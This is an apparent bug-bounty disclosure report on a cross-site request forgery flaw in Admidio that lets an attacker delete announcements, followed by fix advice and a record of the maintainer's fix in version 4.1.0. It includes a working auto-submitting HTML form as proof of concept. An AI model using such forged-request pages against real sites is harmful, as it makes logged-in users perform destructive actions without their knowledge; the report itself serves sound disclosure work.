Cross-Site Request Forgery (CSRF) in admidio/admidio

Valid

Reported on

Aug 17th 2021


✍️ Description

Attacker able to delete any Announcements with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Browser.

2.Open the PoC.html (it is auto-submit).

3.Here a Announcements with ann_id 2 will be deleted after the PoC.html file opened.

// PoC.html


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/admidio/adm_program/modules/announcements/announcements_function.php">
      <input type="hidden" name="mode" value="2" />
      <input type="hidden" name="ann&#95;id" value="2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframes )

💥 Impact

This vulnerability is capable of had a high impact on availability of any user Announcements.

Fix

The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.

The best way is that you set a CSRF token in each endpoint.

📍 Location index.php#L1

amammad modified the report
2 years ago
amammad modified the report
2 years ago
amammad modified the report
2 years ago
amammad modified the report
2 years ago
Z-Old
2 years ago

Admin


Hey ammamad, I've reached out to admidio. Waiting to hear back.

We have contacted a member of the admidio team and are waiting to hear back 2 years ago
admidio/admidio maintainer validated this vulnerability 2 years ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Markus Faßbender marked this as fixed in 4.1.0 with commit eec453 2 years ago
Markus Faßbender has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation